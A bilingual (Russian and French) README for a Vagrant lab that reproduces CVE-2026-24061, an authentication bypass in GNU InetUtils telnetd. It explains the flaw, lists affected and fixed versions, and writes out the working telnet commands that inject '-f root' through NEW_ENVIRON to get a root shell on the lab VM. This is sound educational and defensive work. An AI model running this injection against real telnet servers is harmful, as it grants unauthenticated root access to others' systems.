
Лаборатория воспроизведения для CVE-2026-24061: критический обход аутентификации в GNU InetUtils telnetd. Предоставляет изолированную среду Vagrant для безопасной эксплуатации уязвимости внедрения NEW_ENVIRON USER.
⚠️ Только для образовательных целей. Изолированная лабораторная среда.
Критический обход аутентификации (CVSS 9.8) в GNU InetUtils telnetd ≤ 2.7.
Внедряя -f root в качестве переменной USER через опцию Telnet NEW_ENVIRON,
неаутентифицированный атакующий может получить root-оболочку без пароля.
Переменная USER, полученная от клиента во время согласования Telnet, передаётся
напрямую в /usr/bin/login без проверки:
/usr/bin/login -p -f root
Флаг -f указывает login пропустить проверку пароля для указанного пользователя.
Этот риск задокументирован в RFC 1572 (Раздел 7) — однако ошибка присутствовала
в inetutils более десяти лет.
GNU InetUtils telnetd 1.9.3 – 2.7
Обновитесь до GNU InetUtils ≥ 2.7-2
Эта лаборатория использует Vagrant для развёртывания реальной изолированной виртуальной машины с уязвимой версией telnetd (inetutils 2.5, собранной из исходников), что максимально приближает её к реальной среде.
Требования: Vagrant + VirtualBox, установленные на вашей машине.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
ВМ запускается с IP-адресом 192.168.56.10, telnetd прослушивает порт 23.

С вашей хост-машины:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
Переменная USER внедряется через опцию Telnet NEW_ENVIRON во время фазы согласования — до появления приглашения login:.

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli